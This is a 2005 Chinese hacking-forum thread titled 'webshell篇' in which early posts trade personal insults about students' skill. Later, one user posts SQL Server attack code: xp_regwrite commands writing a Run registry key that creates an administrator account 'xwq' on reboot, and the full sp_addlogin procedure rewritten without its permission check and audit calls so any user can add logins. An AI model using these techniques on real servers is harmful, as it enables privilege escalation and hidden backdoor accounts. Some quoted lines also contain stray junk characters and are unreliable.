[原创]webshell篇

上山上山爱 · 发表于 2005-6-11 07:23:03

高调的不是我吧哈哈哈
我低调人家还骑到你头上来来耍大牌
这个学校的人就是这样，不懂谦让
总是遇到不谦虚的人，一点都没办法沟通

开心猪猪 · 发表于 2005-6-11 14:16:02

[em05][em05][em05]

SeAsOn` · 发表于 2005-6-11 18:18:06

[B]以下是引用[I]上山上山爱[/I]在2005-6-10 23:23:03的发言：[/B][BR]高调的不是我吧哈哈哈: l( {. i+ P; K: g3 U
我低调人家还骑到你头上来来耍大牌+ g' Q# k0 p8 e M; j, F3 d" \/ {4 D
这个学校的人就是这样，不懂谦让
4 M. S+ B0 x+ y6 z0 T总是遇到不谦虚的人，一点都没办法沟通

算咯... 一切都是这样的,,
不可能顺你的意... 哈哈...

上山上山爱 · 发表于 2005-6-11 22:12:27

不会阿，这样的人你跟他翻脸一下就可以得到尊敬了哈哈

SeAsOn` · 发表于 2005-6-12 23:09:25

晕.. 无语.....

gogo · 发表于 2005-6-17 06:28:54

[em01][em02]

冬冬 · 发表于 2005-6-17 21:15:57

就凭你？
有资格这样评价师院学生的计算机水平？？
用这种口气诋毁别人！
鄙视你！

冬冬 · 发表于 2005-6-17 21:28:17

利用xp_regwrite来取得系统权限的方法：xp_regwrite
\'HKEY_LOCAL_MACHINE\',\'SOFTWARE\\Microsoft\\Windows\\currentvers ion\\run\',\'x
wq1\',\'REG_SZ\',\'net user xwq xwq /add\'
xp_regwrite
\'HKEY_LOCAL_MACHINE\',\'SOFTWARE\\Microsoft\\Windows\\currentvers ion\\run\',\'x
wq2\',\'REG_SZ\',\'net localgroup administrators xwq /add\'，只要让网站所在
的服务器重起，就能得到系统权限。经过本人的数百次的真实实验，这种方法不
太实用，很容易引起网管的注意，再说ddos也是违法的事，发
动一场ddos要花费的大量的人力，物力。所以不太可行
（除非是你十分想要搞定的网站）。

冬冬 · 发表于 2005-6-17 21:32:03

create procedure sp_addlogin
@loginame sysname
,@passwd    sysname = Null
,@defdb    ; ; sysname = \'master\' -- UNDONE: DEFAULT
CONFIGURABLE???
,@deflanguage sysname = Null
,@sid varbinary(16) = Null
,@encryptopt varchar(20) = Null
AS
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
Declare @ret int -- return value of sp call
-- CHECK PERMISSIONS --
IF (not is_srvrolemember(\'securityadmin\') = 1)
begin
dbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)
raiserror(15247,-1,-1)
return (1)
end
ELSE
begin
dbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)
end
-- DISALLOW USER TRANSACTION --
set implicit_transactions off
IF (@@trancount > 0)
begin
raiserror(15002,-1,-1,\'sp_addlogin\')
return (1)
end
-- VALIDATE LOGIN NAME AS:
-- (1) Valid SQL Name (SQL LOGIN)
-- (2) No backslash (NT users only)
-- (3) Not a reserved login name
execute @ret = sp_validname @loginame
if (@ret <> 0)
  return (1)
if (charindex(\'\\\', @loginame) > 0)
begin
  raiserror(15006,-1,-1,@loginame)
  return (1)
end
--Note: different case sa is allowed.
if (@loginame = \'sa\' or lower(@loginame) in (\'public\'))
begin
raiserror(15405, -1 ,-1, @loginame)
return (1)
end
-- LOGIN NAME MUST NOT ALREADY EXIST --
if exists(select * from master.dbo.syslogins where loginname =
@loginame)
begin
raiserror(15025,-1,-1,@loginame)
return (1)
end
-- VALIDATE DEFAULT DATABASE --
IF db_id(@defdb) IS NULL
begin
raiserror(15010,-1,-1,@defdb)
return (1)
end
-- VALIDATE DEFAULT LANGUAGE --
IF (@deflanguage IS NOT Null)
begin
Execute @ret = sp_validlang @deflanguage
IF (@ret <> 0)
return (1)
end
ELSE
begin
select @deflanguage = name from master.dbo.syslanguages
where langid = @@default_langid --server default
language
if @deflanguage is null
select @deflanguage = N\'us_english\'
end
-- VALIDATE SID IF GIVEN --
if ((@sid IS NOT Null) and (datalength(@sid) <> 16))
begin
raiserror(15419,-1,-1)
return (1)
end
else if @sid is null
select @sid = newid()
if (suser_sname(@sid) IS NOT Null)
begin
raiserror(15433,-1,-1)
return (1)
end
-- VALIDATE AND USE ENCRYPTION OPTION --
declare @xstatus smallint
select @xstatus = 2 -- access
if @encryptopt is null
select @passwd = pwdencrypt(@passwd)
else if @encryptopt = \'skip_encryption_old\'
begin
select @xstatus = @xstatus | 0x800, -- old-style
encryption
@passwd = convert(sysname, convert(varbinary
(30), convert(varchar(30), @passwd)))
end
else if @encryptopt <> \'skip_encryption\'
begin
raiserror(15600,-1,-1,\'sp_addlogin\')
return 1
end
-- ATTEMPT THE INSERT OF THE NEW LOGIN --
INSERT INTO master.dbo.sysxlogins VALUES
  (NULL, @sid, @xstatus, getdate(),
getdate(), @loginame, convert(varbinary(256), @passwd),
db_id(@defdb), @deflanguage)
if @@error <> 0 -- this indicates we saw duplicate row
  return (1)
-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
SYSLOGINS CHANGE --
exec(\'use master grant all to null\')
-- FINALIZATION: RETURN SUCCESS/FAILURE --
raiserror(15298,-1,-1)
return (0) -- sp_addlogin
GO
之所以只有 sysadmin 和 securityadmin 固定服务器角色的成员才可以执行
sp_addlogin，主要是这里一段再搞鬼
-- CHECK PERMISSIONS --
IF (not is_srvrolemember(\'securityadmin\') = 1)
begin
dbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)
raiserror(15247,-1,-1)
return (1)
end
ELSE
begin
dbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)
end

只要我们把这段代码删拉，任何权限的用户都可以增加用户拉。
drop procedure sp_addlogin

然后再来恢复sp_addlogin

create procedure sp_addlogin
@loginame sysname
,@passwd    sysname = Null
,@defdb    ; ; sysname = \'master\' -- UNDONE: DEFAULT
CONFIGURABLE???
,@deflanguage sysname = Null
,@sid varbinary(16) = Null
,@encryptopt varchar(20) = Null
AS
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
Declare @ret int -- return value of sp call

-- DISALLOW USER TRANSACTION --
set implicit_transactions off
IF (@@trancount > 0)
begin
raiserror(15002,-1,-1,\'sp_addlogin\')
return (1)
end
-- VALIDATE LOGIN NAME AS:
-- (1) Valid SQL Name (SQL LOGIN)
-- (2) No backslash (NT users only)
-- (3) Not a reserved login name
execute @ret = sp_validname @loginame
if (@ret <> 0)
  return (1)
if (charindex(\'\\\', @loginame) > 0)
begin
  raiserror(15006,-1,-1,@loginame)
  return (1)
end
--Note: different case sa is allowed.
if (@loginame = \'sa\' or lower(@loginame) in (\'public\'))
begin
raiserror(15405, -1 ,-1, @loginame)
return (1)
end
-- LOGIN NAME MUST NOT ALREADY EXIST --
if exists(select * from master.dbo.syslogins where loginname =
@loginame)
begin
raiserror(15025,-1,-1,@loginame)
return (1)
end
-- VALIDATE DEFAULT DATABASE --
IF db_id(@defdb) IS NULL
begin
raiserror(15010,-1,-1,@defdb)
return (1)
end
-- VALIDATE DEFAULT LANGUAGE --
IF (@deflanguage IS NOT Null)
begin
Execute @ret = sp_validlang @deflanguage
IF (@ret <> 0)
return (1)
end
ELSE
begin
select @deflanguage = name from master.dbo.syslanguages
where langid = @@default_langid --server default
language
if @deflanguage is null
select @deflanguage = N\'us_english\'
end
-- VALIDATE SID IF GIVEN --
if ((@sid IS NOT Null) and (datalength(@sid) <> 16))
begin
raiserror(15419,-1,-1)
return (1)
end
else if @sid is null
select @sid = newid()
if (suser_sname(@sid) IS NOT Null)
begin
raiserror(15433,-1,-1)
return (1)
end
-- VALIDATE AND USE ENCRYPTION OPTION --
declare @xstatus smallint
select @xstatus = 2 -- access
if @encryptopt is null
select @passwd = pwdencrypt(@passwd)
else if @encryptopt = \'skip_encryption_old\'
begin
select @xstatus = @xstatus | 0x800, -- old-style
encryption
@passwd = convert(sysname, convert(varbinary
(30), convert(varchar(30), @passwd)))
end
else if @encryptopt <> \'skip_encryption\'
begin
raiserror(15600,-1,-1,\'sp_addlogin\')
return 1
end
-- ATTEMPT THE INSERT OF THE NEW LOGIN --
INSERT INTO master.dbo.sysxlogins VALUES
  (NULL, @sid, @xstatus, getdate(),
getdate(), @loginame, convert(varbinary(256), @passwd),
db_id(@defdb), @deflanguage)
if @@error <> 0 -- this indicates we saw duplicate row
  return (1)
-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
SYSLOGINS CHANGE --
exec(\'use master grant all to null\')
-- FINALIZATION: RETURN SUCCESS/FAILURE --
raiserror(15298,-1,-1)
return (0) -- sp_addlogin
GO

[此贴子已经被作者于2005-6-17 13:34:47编辑过]

冬冬 · 发表于 2005-6-17 21:38:11

不写了
没劲

		自动登录	找回密码
密码			立即加入

[原创]webshell篇

[原创]就你的水平就敢恭维了吗？